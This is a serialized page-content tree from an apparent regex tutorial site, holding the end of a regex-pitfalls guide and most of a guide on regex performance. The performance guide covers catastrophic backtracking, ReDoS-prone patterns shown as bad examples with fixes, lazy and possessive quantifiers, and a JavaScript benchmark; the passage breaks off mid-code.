",[143,295030,34605],{},[44,295032,295033,295036],{},[47,295034,295035],{},"Creating ReDoS vulnerabilities"," — avoid nested quantifiers",[44,295038,295039,295042],{},[47,295040,295041],{},"Misusing character classes"," — watch hyphen and caret positions",[44,295044,295045,295048],{},[47,295046,295047],{},"Using the wrong tool"," — regex isn't for HTML\u002FXML",[16,295050,69241,295051,295054],{},[47,295052,295053],{},"A regex that works on valid input might fail spectacularly on invalid input."," Always test both cases!",[11,295056,257800],{"id":257799},[41,295058,295059,295064,295070],{},[44,295060,295061,295063],{},[98,295062,86882],{"href":87094}," — Test and debug regex patterns online",[44,295065,295066,295069],{},[98,295067,295068],{"href":292540},"Regex Cheat Sheet"," — Quick regex syntax reference",[44,295071,295072,295075],{},[98,295073,295074],{"href":268298},"Common Regex Patterns"," — Copy-paste ready patterns",[2043,295077,295078],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sA_wV, html code.shiki .sA_wV{--shiki-default:#032F62;--shiki-dark:#DBEDFF}html pre.shiki code .snhLl, html code.shiki .snhLl{--shiki-default:#22863A;--shiki-default-font-weight:bold;--shiki-dark:#85E89D;--shiki-dark-font-weight:bold}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":295080},[295081,295082,295086,295090,295094,295098,295103,295107,295111,295115,295119,295123,295124,295125,295126],{"id":256641,"depth":337,"text":2776},{"id":292570,"depth":337,"text":292571,"children":295083},[295084,295085],{"id":238775,"depth":343,"text":238776},{"id":33798,"depth":343,"text":33799},{"id":292795,"depth":337,"text":292796,"children":295087},[295088,295089],{"id":292799,"depth":343,"text":238776},{"id":34235,"depth":343,"text":33799},{"id":293057,"depth":337,"text":293058,"children":295091},[295092,295093],{"id":293061,"depth":343,"text":238776},{"id":293139,"depth":343,"text":33799},{"id":293275,"depth":337,"text":293276,"children":295095},[295096,295097],{"id":293279,"depth":343,"text":238776},{"id":293349,"depth":343,"text":33799},{"id":293447,"depth":337,"text":295099,"children":295100},"Mistake 5: Using . to Match Everything",[295101,295102],{"id":293454,"depth":343,"text":238776},{"id":293537,"depth":343,"text":33799},{"id":293659,"depth":337,"text":293660,"children":295104},[295105,295106],{"id":293663,"depth":343,"text":238776},{"id":293736,"depth":343,"text":33799},{"id":293812,"depth":337,"text":293813,"children":295108},[295109,295110],{"id":293816,"depth":343,"text":238776},{"id":293941,"depth":343,"text":33799},{"id":294043,"depth":337,"text":294044,"children":295112},[295113,295114],{"id":294047,"depth":343,"text":238776},{"id":294126,"depth":343,"text":33799},{"id":294229,"depth":337,"text":294230,"children":295116},[295117,295118],{"id":294233,"depth":343,"text":238776},{"id":294298,"depth":343,"text":33799},{"id":294404,"depth":337,"text":294405,"children":295120},[295121,295122],{"id":294408,"depth":343,"text":238776},{"id":294502,"depth":343,"text":33799},{"id":294613,"depth":337,"text":294614},{"id":294762,"depth":337,"text":294763},{"id":161627,"depth":337,"text":208883},{"id":257799,"depth":337,"text":257800},"Avoid these 10 common regex mistakes: greedy matching, unescaped metacharacters, backtracking traps, character class errors, and more with clear fixes.",{"immutable":363},{"title":292546,"description":295127},"guides\u002Fregex-common-pitfalls","xaoqL8ErKjU_t_2WUNC1cGwAWOiCIyudpZWhsmET5gI",{"id":295133,"title":295134,"body":295135,"date":257855,"description":297038,"extension":361,"meta":297039,"navigation":363,"path":6363,"readingTime":2529,"seo":297040,"stem":297041,"__hash__":297042},"guides\u002Fguides\u002Fregex-performance-tips.md","Regex Performance: How to Write Fast Regular Expressions",{"type":8,"value":295136,"toc":297000},[295137,295141,295144,295147,295164,295168,295171,295175,295181,295191,295196,295240,295246,295291,295297,295303,295307,295310,295319,295325,295367,295379,295383,295386,295397,295401,295405,295417,295474,295478,295484,295542,295544,295598,295603,295668,295672,295675,295679,295694,295698,295705,295714,295730,295734,295737,295775,295779,295783,295832,295836,295864,295868,295897,295901,295930,295934,296056,296060,296064,296292,296295,296321,296325,296328,296412,296414,296418,296550,296554,296698,296702,296857,296861,296864,296929,296934,296936,296939,296973,296978,296980,296997],[11,295138,295140],{"id":295139},"why-regex-performance-matters","Why Regex Performance Matters",[16,295142,295143],{},"Regular expressions can be deceptively simple. A regex that works perfectly on a 10-character string might take seconds — or even years — to process a 100-character string. This isn't hyperbole; poorly written regexes can exhibit exponential time complexity, causing application hangs, timeout errors, and even denial-of-service vulnerabilities (ReDoS — Regular Expression Denial of Service).",[16,295145,295146],{},"Understanding regex performance is crucial when:",[41,295148,295149,295152,295155,295158,295161],{},[44,295150,295151],{},"Processing user input in web forms",[44,295153,295154],{},"Validating large documents or log files",[44,295156,295157],{},"Running regexes in hot loops",[44,295159,295160],{},"Building search functionality",[44,295162,295163],{},"Implementing security filters",[11,295165,295167],{"id":295166},"the-root-cause-catastrophic-backtracking","The Root Cause: Catastrophic Backtracking",[16,295169,295170],{},"Most regex engines use a backtracking algorithm. When a match fails, the engine \"backs up\" and tries alternative paths. In poorly written regexes, the number of possible paths can grow exponentially.",[33,295172,295174],{"id":295173},"a-classic-example","A Classic Example",[16,295176,295177,295178,8037],{},"Consider this regex designed to match strings wrapped in ",[143,295179,295180],{},"\u003C >",[135,295182,295185],{"className":295183,"code":295184,"language":278995,"meta":141,"style":141},"language-regex shiki shiki-themes github-light github-dark","\u003C.*>\n",[143,295186,295187],{"__ignoreMap":141},[1560,295188,295189],{"class":1562,"line":1563},[1560,295190,295184],{},[16,295192,295193,295194,8037],{},"Seems innocent, right? Let's test it against ",[143,295195,54879],{},[77,295197,295198,295205,295212,295220,295228,295235],{},[44,295199,295200,295202,295203],{},[143,295201,6431],{}," matches ",[143,295204,6431],{},[44,295206,295207,295209,295210],{},[143,295208,294638],{}," greedily matches ",[143,295211,130081],{},[44,295213,295214,295216,295217,295219],{},[143,295215,28226],{}," tries to match ",[143,295218,28226],{}," but fails (already consumed)",[44,295221,295222,295223,295225,295226],{},"Backtrack: ",[143,295224,294638],{}," gives up one character, now matches ",[143,295227,6419],{},[44,295229,295230,295216,295232,295234],{},[143,295231,28226],{},[143,295233,28226],{}," — succeeds!",[44,295236,295237,295238],{},"Match found: ",[143,295239,54879],{},[16,295241,295242,295243,8037],{},"That worked fine. Now try ",[143,295244,295245],{},"\u003Chtml>\u003Cbody>",[77,295247,295248,295254,295261,295266,295269,295276,295283,295286],{},[44,295249,295250,295202,295252],{},[143,295251,6431],{},[143,295253,6431],{},[44,295255,295256,295209,295258],{},[143,295257,294638],{},[143,295259,295260],{},"html>\u003Cbody>",[44,295262,295263,295265],{},[143,295264,28226],{}," fails",[44,295267,295268],{},"Backtrack repeatedly...",[44,295270,295271,295272,295202,295274],{},"Eventually ",[143,295273,294638],{},[143,295275,130081],{},[44,295277,295278,295202,295280,295282],{},[143,295279,28226],{},[143,295281,6431],{}," — wait, no!",[44,295284,295285],{},"More backtracking...",[44,295287,295288,295289],{},"Eventually matches ",[143,295290,295245],{},[16,295292,295293,295294,33994],{},"Still okay. But what about ",[143,295295,295296],{},"\u003Chtml>\u003Cbody>\u003Cdiv>",[16,295298,295299,295300,295302],{},"The backtracking steps grow. With nested structures, ",[143,295301,294638],{}," tries every possible split point.",[33,295304,295306],{"id":295305},"the-catastrophic-case","The Catastrophic Case",[16,295308,295309],{},"Here's a regex that's notorious for causing ReDoS:",[135,295311,295313],{"className":295183,"code":295312,"language":278995,"meta":141,"style":141},"(a+)+$\n",[143,295314,295315],{"__ignoreMap":141},[1560,295316,295317],{"class":1562,"line":1563},[1560,295318,295312],{},[16,295320,295321,295322,8037],{},"Testing against ",[143,295323,295324],{},"aaaaaaaaaaaaaaaaaaaaaaaaaaaaX",[77,295326,295327,295334,295343,295355,295358,295361],{},[44,295328,295329,295331,295332,18727],{},[143,295330,294675],{}," matches all the ",[143,295333,98],{},[44,295335,295336,295337,295339,295340,295342],{},"The outer ",[143,295338,294670],{}," tries to capture another group — fails (no more ",[143,295341,98],{},"s)",[44,295344,295345,295346,295348,295349,295351,295352,295354],{},"Backtrack: first ",[143,295347,294675],{}," gives up one ",[143,295350,98],{},", second ",[143,295353,294675],{}," takes it",[44,295356,295357],{},"Try third group... fails",[44,295359,295360],{},"Backtrack more...",[44,295362,295363,295364,295366],{},"The number of permutations is 2^n where n is the number of ",[143,295365,98],{},"s!",[16,295368,295369,295372,295373,295375,295376,295378],{},[47,295370,295371],{},"Result:"," 30 ",[143,295374,98],{},"s followed by ",[143,295377,26299],{}," can take billions of steps.",[33,295380,295382],{"id":295381},"visualizing-the-problem","Visualizing the Problem",[16,295384,295385],{},"Think of backtracking like exploring a maze:",[41,295387,295388,295391,295394],{},[44,295389,295390],{},"Each character is a decision point",[44,295392,295393],{},"The engine tries one path, then backtracks to try alternatives",[44,295395,295396],{},"Poor regex = exponentially many paths",[11,295398,295400],{"id":295399},"greedy-vs-lazy-quantifiers","Greedy vs Lazy Quantifiers",[33,295402,295404],{"id":295403},"greedy-default-behavior","Greedy (Default Behavior)",[16,295406,295407,295408,1459,295410,1459,295412,1459,295414,295416],{},"Greedy quantifiers (",[143,295409,8069],{},[143,295411,9448],{},[143,295413,33994],{},[143,295415,292247],{},") try to match as much as possible before backtracking.",[135,295418,295420],{"className":1607,"code":295419,"language":1609,"meta":141,"style":141},"const text = '\u003Cdiv>Hello\u003C\u002Fdiv>\u003Cdiv>World\u003C\u002Fdiv>';\n\n\u002F\u002F Greedy: matches from first \u003C to last >\ntext.match(\u002F\u003C.*>\u002F);\n\u002F\u002F Result: '\u003Cdiv>Hello\u003C\u002Fdiv>\u003Cdiv>World\u003C\u002Fdiv>'\n\u002F\u002F Steps: \u003C.*> matches all, then backtracks to find last >\n",[143,295421,295422,295434,295438,295443,295465,295469],{"__ignoreMap":141},[1560,295423,295424,295426,295428,295430,295432],{"class":1562,"line":1563},[1560,295425,8180],{"class":1669},[1560,295427,87414],{"class":1576},[1560,295429,8186],{"class":1669},[1560,295431,292597],{"class":5634},[1560,295433,2228],{"class":1570},[1560,295435,295436],{"class":1562,"line":337},[1560,295437,1702],{"emptyLinePlaceholder":363},[1560,295439,295440],{"class":1562,"line":343},[1560,295441,295442],{"class":1649},"\u002F\u002F Greedy: matches from first \u003C to last >\n",[1560,295444,295445,295447,295449,295451,295453,295455,295457,295459,295461,295463],{"class":1562,"line":365},[1560,295446,203933],{"class":1570},[1560,295448,97000],{"class":1566},[1560,295450,1688],{"class":1570},[1560,295452,9423],{"class":5634},[1560,295454,6431],{"class":11919},[1560,295456,468],{"class":1576},[1560,295458,8069],{"class":1669},[1560,295460,28226],{"class":11919},[1560,295462,9423],{"class":5634},[1560,295464,1744],{"class":1570},[1560,295466,295467],{"class":1562,"line":889},[1560,295468,292650],{"class":1649},[1560,295470,295471],{"class":1562,"line":1710},[1560,295472,295473],{"class":1649},"\u002F\u002F Steps: \u003C.*> matches all, then backtracks to find last >\n",[33,295475,295477],{"id":295476},"lazy-non-greedy","Lazy (Non-Greedy)",[16,295479,295480,295481,295483],{},"Adding ",[143,295482,33994],{}," after a quantifier makes it lazy — match as little as possible.",[135,295485,295487],{"className":1607,"code":295486,"language":1609,"meta":141,"style":141},"const text = '\u003Cdiv>Hello\u003C\u002Fdiv>\u003Cdiv>World\u003C\u002Fdiv>';\n\n\u002F\u002F Lazy: matches from first \u003C to first >\ntext.match(\u002F\u003C.*?>\u002F);\n\u002F\u002F Result: '\u003Cdiv>'\n\u002F\u002F Steps: \u003C.*?> matches minimally, then immediately tries >\n",[143,295488,295489,295501,295505,295510,295532,295537],{"__ignoreMap":141},[1560,295490,295491,295493,295495,295497,295499],{"class":1562,"line":1563},[1560,295492,8180],{"class":1669},[1560,295494,87414],{"class":1576},[1560,295496,8186],{"class":1669},[1560,295498,292597],{"class":5634},[1560,295500,2228],{"class":1570},[1560,295502,295503],{"class":1562,"line":337},[1560,295504,1702],{"emptyLinePlaceholder":363},[1560,295506,295507],{"class":1562,"line":343},[1560,295508,295509],{"class":1649},"\u002F\u002F Lazy: matches from first \u003C to first >\n",[1560,295511,295512,295514,295516,295518,295520,295522,295524,295526,295528,295530],{"class":1562,"line":365},[1560,295513,203933],{"class":1570},[1560,295515,97000],{"class":1566},[1560,295517,1688],{"class":1570},[1560,295519,9423],{"class":5634},[1560,295521,6431],{"class":11919},[1560,295523,468],{"class":1576},[1560,295525,182080],{"class":1669},[1560,295527,28226],{"class":11919},[1560,295529,9423],{"class":5634},[1560,295531,1744],{"class":1570},[1560,295533,295534],{"class":1562,"line":889},[1560,295535,295536],{"class":1649},"\u002F\u002F Result: '\u003Cdiv>'\n",[1560,295538,295539],{"class":1562,"line":1710},[1560,295540,295541],{"class":1649},"\u002F\u002F Steps: \u003C.*?> matches minimally, then immediately tries >\n",[33,295543,26165],{"id":26164},[193,295545,295546,295559],{},[196,295547,295548],{},[199,295549,295550,295552,295554,295556],{},[202,295551,18376],{},[202,295553,30784],{},[202,295555,70645],{},[202,295557,295558],{},"Backtracking",[211,295560,295561,295580],{},[199,295562,295563,295568,295573,295577],{},[216,295564,295565],{},[143,295566,295567],{},"\u003C.*>",[216,295569,295570],{},[143,295571,295572],{},"\u003Ca>\u003Cb>",[216,295574,295575],{},[143,295576,295572],{},[216,295578,295579],{},"High (many steps)",[199,295581,295582,295587,295591,295595],{},[216,295583,295584],{},[143,295585,295586],{},"\u003C.*?>",[216,295588,295589],{},[143,295590,295572],{},[216,295592,295593],{},[143,295594,129094],{},[216,295596,295597],{},"Low (stops early)",[16,295599,295600,295602],{},[47,295601,7247],{}," If you know what you're looking for (e.g., closing tag), use lazy quantifiers or be more specific.",[135,295604,295606],{"className":1607,"code":295605,"language":1609,"meta":141,"style":141},"\u002F\u002F Bad: greedy catch-all\n\u002F\u003C.*>\u002F;\n\n\u002F\u002F Better: specific character class\n\u002F\u003C[^>]*>\u002F;\n\n\u002F\u002F Best: use a parser for HTML\u002FXML!\n",[143,295607,295608,295613,295629,295633,295638,295659,295663],{"__ignoreMap":141},[1560,295609,295610],{"class":1562,"line":1563},[1560,295611,295612],{"class":1649},"\u002F\u002F Bad: greedy catch-all\n",[1560,295614,295615,295617,295619,295621,295623,295625,295627],{"class":1562,"line":337},[1560,295616,9423],{"class":5634},[1560,295618,6431],{"class":11919},[1560,295620,468],{"class":1576},[1560,295622,8069],{"class":1669},[1560,295624,28226],{"class":11919},[1560,295626,9423],{"class":5634},[1560,295628,2228],{"class":1570},[1560,295630,295631],{"class":1562,"line":343},[1560,295632,1702],{"emptyLinePlaceholder":363},[1560,295634,295635],{"class":1562,"line":365},[1560,295636,295637],{"class":1649},"\u002F\u002F Better: specific character class\n",[1560,295639,295640,295642,295644,295646,295648,295651,295653,295655,295657],{"class":1562,"line":889},[1560,295641,9423],{"class":5634},[1560,295643,6431],{"class":11919},[1560,295645,24385],{"class":1576},[1560,295647,38799],{"class":1669},[1560,295649,295650],{"class":1576},">]",[1560,295652,8069],{"class":1669},[1560,295654,28226],{"class":11919},[1560,295656,9423],{"class":5634},[1560,295658,2228],{"class":1570},[1560,295660,295661],{"class":1562,"line":1710},[1560,295662,1702],{"emptyLinePlaceholder":363},[1560,295664,295665],{"class":1562,"line":1717},[1560,295666,295667],{"class":1649},"\u002F\u002F Best: use a parser for HTML\u002FXML!\n",[11,295669,295671],{"id":295670},"possessive-quantifiers-and-atomic-groups","Possessive Quantifiers and Atomic Groups",[16,295673,295674],{},"Some regex engines (Java, PCRE, .NET) support possessive quantifiers that never backtrack.",[33,295676,295678],{"id":295677},"possessive-quantifiers-java-pcre","Possessive Quantifiers (Java, PCRE)",[135,295680,295682],{"className":295183,"code":295681,"language":278995,"meta":141,"style":141},"a++       # Possessive + (never gives up match)\n.*+       # Possessive * (never backtracks)\n",[143,295683,295684,295689],{"__ignoreMap":141},[1560,295685,295686],{"class":1562,"line":1563},[1560,295687,295688],{},"a++       # Possessive + (never gives up match)\n",[1560,295690,295691],{"class":1562,"line":337},[1560,295692,295693],{},".*+       # Possessive * (never backtracks)\n",[33,295695,295697],{"id":295696},"atomic-groups-more-widely-supported","Atomic Groups (More Widely Supported)",[16,295699,295700,295701,295704],{},"Atomic groups ",[143,295702,295703],{},"(?>...)"," prevent backtracking into the group.",[135,295706,295708],{"className":295183,"code":295707,"language":278995,"meta":141,"style":141},"(?>a+)b   # Once a+ matches, those a's are locked in\n",[143,295709,295710],{"__ignoreMap":141},[1560,295711,295712],{"class":1562,"line":1563},[1560,295713,295707],{},[16,295715,295716,295719,295720,295722,295723,295726,295727,295729],{},[47,295717,295718],{},"Why this helps:"," If the ",[143,295721,28973],{}," fails to match, the engine won't backtrack into the ",[143,295724,295725],{},"(?>a+)"," to try fewer ",[143,295728,98],{},"s.",[33,295731,295733],{"id":295732},"javascript-workaround","JavaScript Workaround",[16,295735,295736],{},"JavaScript doesn't support atomic groups natively, but you can simulate with lookaheads:",[135,295738,295740],{"className":1607,"code":295739,"language":1609,"meta":141,"style":141},"\u002F\u002F Instead of (?>a+)b\n(?=(a+))\\1b\n\n\u002F\u002F The lookahead matches and captures, then \\1 references the capture\n\u002F\u002F Since lookahead doesn't consume, backtracking into it is limited\n",[143,295741,295742,295747,295761,295765,295770],{"__ignoreMap":141},[1560,295743,295744],{"class":1562,"line":1563},[1560,295745,295746],{"class":1649},"\u002F\u002F Instead of (?>a+)b\n",[1560,295748,295749,295751,295754,295756,295758],{"class":1562,"line":337},[1560,295750,1688],{"class":1570},[1560,295752,295753],{"class":1669},"?=",[1560,295755,293089],{"class":1570},[1560,295757,9448],{"class":1669},[1560,295759,295760],{"class":1570},"))\\1b\n",[1560,295762,295763],{"class":1562,"line":343},[1560,295764,1702],{"emptyLinePlaceholder":363},[1560,295766,295767],{"class":1562,"line":365},[1560,295768,295769],{"class":1649},"\u002F\u002F The lookahead matches and captures, then \\1 references the capture\n",[1560,295771,295772],{"class":1562,"line":889},[1560,295773,295774],{"class":1649},"\u002F\u002F Since lookahead doesn't consume, backtracking into it is limited\n",[11,295776,295778],{"id":295777},"common-performance-traps-and-fixes","Common Performance Traps and Fixes",[33,295780,295782],{"id":295781},"trap-1-nested-quantifiers","Trap 1: Nested Quantifiers",[135,295784,295786],{"className":295183,"code":295785,"language":278995,"meta":141,"style":141},"# BAD: Catastrophic backtracking\n(a+)+\n(.*)*\n(.+)+\n\n# BETTER: Use specific counts or single quantifiers\na+\n.* \n.+\n",[143,295787,295788,295793,295798,295803,295808,295812,295817,295822,295827],{"__ignoreMap":141},[1560,295789,295790],{"class":1562,"line":1563},[1560,295791,295792],{},"# BAD: Catastrophic backtracking\n",[1560,295794,295795],{"class":1562,"line":337},[1560,295796,295797],{},"(a+)+\n",[1560,295799,295800],{"class":1562,"line":343},[1560,295801,295802],{},"(.*)*\n",[1560,295804,295805],{"class":1562,"line":365},[1560,295806,295807],{},"(.+)+\n",[1560,295809,295810],{"class":1562,"line":889},[1560,295811,1702],{"emptyLinePlaceholder":363},[1560,295813,295814],{"class":1562,"line":1710},[1560,295815,295816],{},"# BETTER: Use specific counts or single quantifiers\n",[1560,295818,295819],{"class":1562,"line":1717},[1560,295820,295821],{},"a+\n",[1560,295823,295824],{"class":1562,"line":1747},[1560,295825,295826],{},".* \n",[1560,295828,295829],{"class":1562,"line":2507},[1560,295830,295831],{},".+\n",[33,295833,295835],{"id":295834},"trap-2-overly-broad-character-classes","Trap 2: Overly Broad Character Classes",[135,295837,295839],{"className":295183,"code":295838,"language":278995,"meta":141,"style":141},"# BAD: .* matches too much\n\u003C.*>\n\n# BETTER: Match only what you expect\n\u003C[^>]*>\n",[143,295840,295841,295846,295850,295854,295859],{"__ignoreMap":141},[1560,295842,295843],{"class":1562,"line":1563},[1560,295844,295845],{},"# BAD: .* matches too much\n",[1560,295847,295848],{"class":1562,"line":337},[1560,295849,295184],{},[1560,295851,295852],{"class":1562,"line":343},[1560,295853,1702],{"emptyLinePlaceholder":363},[1560,295855,295856],{"class":1562,"line":365},[1560,295857,295858],{},"# BETTER: Match only what you expect\n",[1560,295860,295861],{"class":1562,"line":889},[1560,295862,295863],{},"\u003C[^>]*>\n",[33,295865,295867],{"id":295866},"trap-3-alternations-with-overlapping-prefixes","Trap 3: Alternations with Overlapping Prefixes",[135,295869,295871],{"className":295183,"code":295870,"language":278995,"meta":141,"style":141},"# BAD: Both alternatives start with a\n(aa|aaa)\n\n# BETTER: Factor out common prefix\na(a|aa)\n",[143,295872,295873,295878,295883,295887,295892],{"__ignoreMap":141},[1560,295874,295875],{"class":1562,"line":1563},[1560,295876,295877],{},"# BAD: Both alternatives start with a\n",[1560,295879,295880],{"class":1562,"line":337},[1560,295881,295882],{},"(aa|aaa)\n",[1560,295884,295885],{"class":1562,"line":343},[1560,295886,1702],{"emptyLinePlaceholder":363},[1560,295888,295889],{"class":1562,"line":365},[1560,295890,295891],{},"# BETTER: Factor out common prefix\n",[1560,295893,295894],{"class":1562,"line":889},[1560,295895,295896],{},"a(a|aa)\n",[33,295898,295900],{"id":295899},"trap-4-backtracking-across-anchors","Trap 4: Backtracking Across Anchors",[135,295902,295904],{"className":295183,"code":295903,"language":278995,"meta":141,"style":141},"# BAD: ^ and $ are checked repeatedly during backtracking\n^.*$\n\n# BETTER: More specific\n^[^\\n]*$\n",[143,295905,295906,295911,295916,295920,295925],{"__ignoreMap":141},[1560,295907,295908],{"class":1562,"line":1563},[1560,295909,295910],{},"# BAD: ^ and $ are checked repeatedly during backtracking\n",[1560,295912,295913],{"class":1562,"line":337},[1560,295914,295915],{},"^.*$\n",[1560,295917,295918],{"class":1562,"line":343},[1560,295919,1702],{"emptyLinePlaceholder":363},[1560,295921,295922],{"class":1562,"line":365},[1560,295923,295924],{},"# BETTER: More specific\n",[1560,295926,295927],{"class":1562,"line":889},[1560,295928,295929],{},"^[^\\n]*$\n",[33,295931,295933],{"id":295932},"trap-5-using-regex-for-parsing-structured-data","Trap 5: Using Regex for Parsing Structured Data",[135,295935,295937],{"className":1607,"code":295936,"language":1609,"meta":141,"style":141},"\u002F\u002F BAD: Trying to parse HTML\u002FXML\u002FJSON with regex\nconst html = '\u003Cdiv class=\"a\">\u003Cspan>b\u003C\u002Fspan>\u003C\u002Fdiv>';\nconst match = html.match(\u002F\u003Cdiv.*?>(.*?)\u003C\\\u002Fdiv>\u002F);\n\n\u002F\u002F BETTER: Use a proper parser\nconst parser = new DOMParser();\nconst doc = parser.parseFromString(html, 'text\u002Fhtml');\nconst div = doc.querySelector('div');\n",[143,295938,295939,295944,295957,295997,296001,296006,296020,296038],{"__ignoreMap":141},[1560,295940,295941],{"class":1562,"line":1563},[1560,295942,295943],{"class":1649},"\u002F\u002F BAD: Trying to parse HTML\u002FXML\u002FJSON with regex\n",[1560,295945,295946,295948,295950,295952,295955],{"class":1562,"line":337},[1560,295947,8180],{"class":1669},[1560,295949,108795],{"class":1576},[1560,295951,8186],{"class":1669},[1560,295953,295954],{"class":5634}," '\u003Cdiv class=\"a\">\u003Cspan>b\u003C\u002Fspan>\u003C\u002Fdiv>'",[1560,295956,2228],{"class":1570},[1560,295958,295959,295961,295963,295965,295967,295969,295971,295973,295976,295978,295980,295983,295985,295987,295989,295991,295993,295995],{"class":1562,"line":343},[1560,295960,8180],{"class":1669},[1560,295962,96992],{"class":1576},[1560,295964,8186],{"class":1669},[1560,295966,292610],{"class":1570},[1560,295968,97000],{"class":1566},[1560,295970,1688],{"class":1570},[1560,295972,9423],{"class":5634},[1560,295974,295975],{"class":11919},"\u003Cdiv",[1560,295977,468],{"class":1576},[1560,295979,182080],{"class":1669},[1560,295981,295982],{"class":11919},">(",[1560,295984,468],{"class":1576},[1560,295986,182080],{"class":1669},[1560,295988,294460],{"class":11919},[1560,295990,43130],{"class":11915},[1560,295992,292629],{"class":11919},[1560,295994,9423],{"class":5634},[1560,295996,1744],{"class":1570},[1560,295998,295999],{"class":1562,"line":365},[1560,296000,1702],{"emptyLinePlaceholder":363},[1560,296002,296003],{"class":1562,"line":889},[1560,296004,296005],{"class":1649},"\u002F\u002F BETTER: Use a proper parser\n",[1560,296007,296008,296010,296012,296014,296016,296018],{"class":1562,"line":1710},[1560,296009,8180],{"class":1669},[1560,296011,228898],{"class":1576},[1560,296013,8186],{"class":1669},[1560,296015,11489],{"class":1669},[1560,296017,228905],{"class":1566},[1560,296019,90158],{"class":1570},[1560,296021,296022,296024,296026,296028,296030,296032,296034,296036],{"class":1562,"line":1717},[1560,296023,8180],{"class":1669},[1560,296025,228914],{"class":1576},[1560,296027,8186],{"class":1669},[1560,296029,228919],{"class":1570},[1560,296031,228922],{"class":1566},[1560,296033,294556],{"class":1570},[1560,296035,294559],{"class":5634},[1560,296037,1744],{"class":1570},[1560,296039,296040,296042,296044,296046,296048,296050,296052,296054],{"class":1562,"line":1747},[1560,296041,8180],{"class":1669},[1560,296043,11538],{"class":1576},[1560,296045,8186],{"class":1669},[1560,296047,294573],{"class":1570},[1560,296049,11786],{"class":1566},[1560,296051,1688],{"class":1570},[1560,296053,118870],{"class":5634},[1560,296055,1744],{"class":1570},[11,296057,296059],{"id":296058},"benchmarking-your-regexes","Benchmarking Your Regexes",[33,296061,296063],{"id":296062},"simple-javascript-benchmark","Simple JavaScript Benchmark",[135,296065,296067],{"className":1607,"code":296066,"language":1609,"meta":141,"style":141},"function benchmark(regex, string, iterations = 10000) {\n  const start = performance.now();\n  for (let i = 0; i \u003C iterations; i++) {\n    regex.test(string);\n  }\n  const end = performance.now();\n  return end - start;\n}\n\n\u002F\u002F Test with a problematic string\nconst regex = \u002F(a+)+$\u002F;\nconst goodString = 'aaaaa';\nconst badString = 'aaaaaaaaaaaaaaaaX';\n\nconsole.log('Good string:', benchmark(regex, goodString), 'ms');\nconsole.log('Bad string:', benchmark(regex, badString), 'ms');\n\u002F\u002F The bad string might take WAY longer!\n",[143,296068,296069,296095,296110,296135,296145,296149,296163,296174,296178,296182,296187,296209,296223,296237,296241,296265,296287],{"__ignoreMap":141},[1560,296070,296071,296073,296076,296078,296080,296082,296084,296086,296089,296091,296093],{"class":1562,"line":1563},[1560,296072,8648],{"class":1669},[1560,296074,296075],{"class":1566}," benchmark",[1560,296077,1688],{"class":1570},[1560,296079,278995],{"class":2219},[1560,296081,1459],{"class":1570},[1560,296083,281055],{"class":2219},[1560,296085,1459],{"class":1570},[1560,296087,296088],{"class":2219},"iterations",[1560,296090,8186],{"class":1669},[1560,296092,139857],{"class":1576},[1560,296094,9345],{"class":1570},[1560,296096,296097,296099,296101,296103,296106,296108],{"class":1562,"line":337},[1560,296098,28057],{"class":1669},[1560,296100,99196],{"class":1576},[1560,296102,8186],{"class":1669},[1560,296104,296105],{"class":1570}," performance.",[1560,296107,90104],{"class":1566},[1560,296109,90158],{"class":1570},[1560,296111,296112,296114,296116,296118,296120,296122,296124,296126,296128,296131,296133],{"class":1562,"line":343},[1560,296113,82192],{"class":1669},[1560,296115,5181],{"class":1570},[1560,296117,41680],{"class":1669},[1560,296119,7950],{"class":1570},[1560,296121,7297],{"class":1669},[1560,296123,13541],{"class":1576},[1560,296125,82205],{"class":1570},[1560,296127,6431],{"class":1669},[1560,296129,296130],{"class":1570}," iterations; i",[1560,296132,101562],{"class":1669},[1560,296134,9345],{"class":1570},[1560,296136,296137,296140,296142],{"class":1562,"line":365},[1560,296138,296139],{"class":1570},"    regex.",[1560,296141,98998],{"class":1566},[1560,296143,296144],{"class":1570},"(string);\n",[1560,296146,296147],{"class":1562,"line":889},[1560,296148,4959],{"class":1570},[1560,296150,296151,296153,296155,296157,296159,296161],{"class":1562,"line":1710},[1560,296152,28057],{"class":1669},[1560,296154,99209],{"class":1576},[1560,296156,8186],{"class":1669},[1560,296158,296105],{"class":1570},[1560,296160,90104],{"class":1566},[1560,296162,90158],{"class":1570},[1560,296164,296165,296167,296169,296171],{"class":1562,"line":1717},[1560,296166,9350],{"class":1669},[1560,296168,99228],{"class":1570},[1560,296170,9412],{"class":1669},[1560,296172,296173],{"class":1570}," start;\n",[1560,296175,296176],{"class":1562,"line":1747},[1560,296177,1585],{"class":1570},[1560,296179,296180],{"class":1562,"line":2507},[1560,296181,1702],{"emptyLinePlaceholder":363},[1560,296183,296184],{"class":1562,"line":2524},[1560,296185,296186],{"class":1649},"\u002F\u002F Test with a problematic 